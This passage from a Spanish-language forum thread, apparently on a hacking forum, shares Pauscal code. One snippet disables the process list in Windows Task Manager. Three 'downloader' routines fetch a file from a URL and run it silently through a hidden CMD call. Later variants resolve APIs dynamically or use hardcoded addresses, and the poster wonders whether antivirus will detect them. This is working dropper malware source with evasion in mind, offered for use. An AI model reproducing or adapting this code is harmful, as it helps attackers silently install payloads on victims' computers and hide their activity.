PtrHijo = FindWindowEx(PtrPadre,0,"","Procesos")
Si PtrHijo Entonces
EnableWindow(PtrHijo,Estado)
FinSi
FinSi
FinProc


El unico problema es que al cerrar y reabrir el administrador de tareas, la lista de procesos se re-habilita, recomiendo escribir este código y ejecutarlo en un Thread que sondee el procedimiento.
#23
Bueno, me puse a codear un downloader en Pauscal, les dejo los códigos... no los escanee, pero supongo que estaran detectables (o no ...?).

Les ofresco distintos metodos.

Downloader #1
Con las tipicas apis de windows, usando WinExec en vez de ShellExecute.

Código: text
Proc URLDownloadToFile(:Entero,Referencia,:Cadena,,:Entero):Entero,"Urlmon.dll" "URLDownloadToFileA"
Proc WinExec(Referencia lpCmdLine:Cadena,uCmdShow:Entero):Entero,"Kernel32.dll"

Proc Downloader_1(Referencia URL,Archivo:Cadena)
Si URLDownloadToFile(0,URL,Archivo,0,0) = 0 Entonces WinExec("CMD /D /C " + #34 + Archivo + #34,0)
FinProc


Downloader #2
Usando las mismas apis, pero utilizando prototipos en vez de declaraciones, mas LoadLibrary y GetProcAdress.

Código: text
Prototipo URLDownloadToFile(,,,,:Entero):Entero
Prototipo WinExec(,:Entero):Entero

Proc LoadLibrary(Referencia lpLibFileName:Cadena):Entero,"Kernel32" "LoadLibraryA"
Proc GetProcAddress(hModule:Entero,Referencia lpProcName:Cadena):Entero,"Kernel32" "GetProcAddress"
Proc FreeLibrary(hLibModule:Entero):Entero,"Kernel32.dll"

Proc Downloader_2(Referencia URL,Archivo:Cadena)
Var LibreriaPtr,ProcedimientoPtr:Entero
Var EnlaceAArchivo:UrlDownloadToFile
Var WinEjecutar:WinExec
Var UrlCheck:Entero
Var Comando:Cadena
Var @Ptr1,@Ptr2,@Ptr3:Entero
Comando = "CMD /D /C " + #34 + Archivo + #34
Ptr1@ = Url@ ' Los prototipos deben enviar punteros a las cadenas como las llamadas originales.
Ptr2@ = Archivo@
Ptr3@ = Comando@
LibreriaPtr = LoadLibrary("Urlmon.dll")
Si LibreriaPtr = 0 Entonces Salir ' Si por alguna razon no  carga la libreria, salir del procedimiento.
ProcedimientoPtr = GetProcAddress(LibreriaPtr,"URLDownloadToFileA")
Si ProcedimientoPtr = 0 Entonces Salir ' Si no carga el proc de la api, salir.
FreeLibrary(LibreriaPtr) ' Liberamos la DLL.
EnlaceAArchivo@ = ProcedimientoPtr
Si EnlaceAArchivo(0,Ptr1,Ptr2,0,0) = 0 Entonces ' Establecemos los parametros y llamamos a la API.
LibreriaPtr = LoadLibrary("Kernel32.dll")
Si LibreriaPtr = 0 Entonces Salir ' Si por alguna razon no  carga la libreria, salir del procedimiento.
ProcedimientoPtr = GetProcAddress(LibreriaPtr,"WinExec")
Si ProcedimientoPtr = 0 Entonces Salir ' Si no carga el proc de la api, salir.
WinEjecutar@ = ProcedimientoPtr
WinEjecutar(Ptr3,0)
FreeLibrary(LibreriaPtr) ' Liberamos la DLL.
FinSi
FinProc


Downloader #3
ATENCIÓN! Este puede no funcionar en todos los sistemas operativos, basicamente es el código anterior, pero usamos los punteros a los procedimientos DIRECTAMENTE, sin obtenerlos mediante GetProcAddress.

Código: text
Prototipo URLDownloadToFile(,,,,:Entero):Entero
Prototipo WinExec(,:Entero):Entero

Proc Downloader_3(Referencia URL,Archivo:Cadena)
Var LibreriaPtr,ProcedimientoPtr:Entero
Var EnlaceAArchivo:UrlDownloadToFile
Var WinEjecutar:WinExec
Var Comando:Cadena
Var @Ptr1,@Ptr2,@Ptr3:Entero
Comando = "CMD /D /C " + #34 + Archivo + #34
Ptr1@ = Url@
Ptr2@ = Archivo@
Ptr3@ = Comando@
EnlaceAArchivo@ = 1977837776
Si EnlaceAArchivo(0,Ptr1,Ptr2,0,0) = 0 Entonces
WinEjecutar@ = 1881876227
WinEjecutar(Ptr3,0)
FinSi
FinProc


Espero que les sirva, saludos!